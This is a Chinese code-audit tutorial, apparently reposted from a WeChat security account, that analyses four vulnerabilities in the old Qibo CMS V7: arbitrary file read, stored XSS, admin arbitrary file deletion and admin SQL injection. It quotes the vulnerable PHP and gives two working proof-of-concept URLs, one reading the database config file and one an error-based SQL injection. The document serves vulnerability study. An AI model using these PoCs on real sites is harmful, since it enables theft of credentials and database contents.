免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任!
前言
写这篇文章的初衷是用来练习代码审计,这个系统已经非常老了,很多地方都没有做过滤,可以说是根本就没有写过滤,刚好可以给正在学习代码审计的师傅看,由于我才刚刚接触代码审计,这篇文章讲的不是很详细,这里的漏洞基本都是在网上找的,如果看我写的看不明白就可以去网上找,后面我会每周更新一两篇尽量写的更详细,然后集成一个靶场(方便给需要练习黑盒测试白盒测试的师傅们)。
任意文件读取
漏洞复现
使用POC:/do/job.php?job=download&url=ZGF0YS9teXNxbF9jb25maWcucGg8
漏洞分析
<?php
error_reporting(0);
if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){
//不读数据库
if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){
include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php");
}
}elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET[job])||ereg("^([-_0-9a-zA-Z]+)$",$_POST[job])){
//读数据库
require(dirname(__FILE__)."/"."global.php");
if(ereg("^([-_0-9a-zA-Z]+)$",$job)&&is_file(ROOT_PATH."inc/job/$job.php")){
include(ROOT_PATH."inc/job/$job.php");
}
}
?>
下面这段是用来读取文件,jobs使用GET请求传参,ereg现在的php中已经淘汰了,这个是匹配正则表达式[-_0-9a-zA-Z],以为过滤不严,绕过正则表达式我们就需要对传参进行bas64加密,而且不能有=号所以在加密的时候添加<
if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){
//不读数据库
if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){
include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php");
}
正则表达式:[-_]: 匹配破折号或下划线 [0-9]: 匹配数字 0 到 9 [a-zA-Z]: 匹配大小写字母 a 到 z 以及 A 到 Z
存储型XSS
漏洞复现
创建一个普通用户然后给admin账号发送短信
登录admin账号查看邮件反弹xss
漏洞分析
这里主要是判断用户是否存在,存在就交给下面的代码进行写入
elseif($job=='send')
{
if($step==2)
{
$rsdb=$userDB->get_passport($touser,'name');
if(!$rsdb)
{
showerr("当前用户不存在");
}
if(!$title){
showerr("标题不能为空");
}
if(strlen($array[title])>100){
showerr("标题太长了!");
}
$array[touid]=$rsdb[uid];
$array[fromuid]=$lfjuid;
$array[fromer]=$lfjid;
$array[title]=filtrate($title);
//针对火狐浏览器做的处理
$postdb[content] = str_replace("=\"../$webdb[updir]/","=\"$webdb[www_url]/$webdb[updir]/",$postdb[content]);
$postdb[content] = preg_replace('/javascript/i','java script',$postdb[content]);
$postdb[content] = preg_replace('/<iframe ([^<>]+)>/i','<iframe \1>',$postdb[content]);
$array[content] = stripslashes($postdb[content]);
pm_msgbox($array);
refreshto("?job=list","发送成功",1);
}
if($uid){
$rsdb = $userDB->get_passport($uid);
$username = $rsdb[username];
}
require(dirname(__FILE__)."/"."head.php");
require(dirname(__FILE__)."/"."template/pm/send.htm");
require(dirname(__FILE__)."/"."foot.php");
}
?>
这里写入数据内容传参函数content,没有对内容进行任何防护所以导致了xss
//发站内消息
function pm_msgbox($array){
global $db,$pre,$timestamp,$webdb,$TB_pre,$TB,$userDB,$db_modes;
$array[content] = addslashes($array[content]);
$array[title] = addslashes($array[title]);
if( ereg("^pwbbs",$webdb[passport_type]) &&!is_array($db_modes) )
{
if(strlen($array[title])>130){
showerr("标题不能大于65个汉字");
}
if(is_table("{$TB_pre}msgc")){
$db->query("INSERT INTO {$TB_pre}msg (`touid`,`fromuid`, `username`, `type`, `ifnew`, `mdate`) VALUES ('$array[touid]','$array[fromuid]', '$array[fromer]', 'rebox', '1', '$timestamp')");
$mid=$db->insert_id();
$db->query("INSERT INTO {$TB_pre}msgc (`mid`, `title`, `content`) VALUES ('$mid','$array[title]','$array[content]')");
}else{
$db->query("INSERT INTO {$TB_pre}msg (`touid`,`fromuid`, `username`, `type`, `ifnew`, `title`, `mdate`, `content`) VALUES ('$array[touid]','$array[fromuid]', '$array[fromer]', 'rebox', '1', '$array[title]', '$timestamp', '$array[content]')");
}
$array=array(
'uid'=>$array[touid],
'newpm'=>1
);
$userDB->edit_pw_member($array);
}
elseif(defined("UC_CONNECT"))
{
if(strlen($array[title])>75){
showerr("标题不能大于32个汉字");
}
uc_pm_send('$array[fromuid]','$array[touid]','$array[title]','$array[content]',1,0,1);
}
else
{
if(strlen($array[title])>130){
showerr("标题不能大于65个汉字");
}
$db->query("INSERT INTO `{$pre}pm` (`touid`,`fromuid`, `username`, `type`, `ifnew`, `title`, `mdate`, `content`) VALUES ('$array[touid]','$array[fromuid]', '$array[fromer]', 'rebox', '1', '$array[title]', '$timestamp', '$array[content]')");
}
}
后台任意文件删除
漏洞复现
在后台先对数据进行备份
现在创建一个测试文件
然后删除备份数据使用burp抓包更改路径删除test文件
漏洞分析
/**
*删除选定的备份数据
**/
elseif($action=='del'&&$Apower[mysql_del]){
if(!$baktime){
showmsg('请选择一个');
}
del_file(ROOT_PATH."cache/mysql_bak/$baktime");
if(!is_dir(ROOT_PATH."cache/mysql_bak/$baktime")){
jump("数据删除成功","index.php?lfj=mysql&job=del",5);
}else{
jump("数据删除失败,请确认目录属性为0777","index.php?lfj=mysql&job=del",5);
}
}
调用mysql_del函数对文件进行删除,没有对删除的目录进行限制,可以直接跳出目录
后台sql注入
漏洞复现
POC: /admin/index.php?lfj=html&action=make_SPhtml&idDB[]=1)+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))%23
漏洞分析
if($fiddb){
$stringFID=implode(",",$fiddb);
$SQL=" fid IN ($stringFID) ";
}elseif($idDB){
$string=implode(",",$idDB);
$SQL=" id IN ($string) ";
}
$str="<?phprn$weburl='$WEBURL&step=end';rn";
$query = $db->query("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
while($rs = $db->fetch_array($query))
代码中的fiddb和idDB都是可以通过GET传参,然后查询语句中没有做任何过滤
原文始发于微信公众号(Piusec):CMS齐博V7-代码审计(一)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论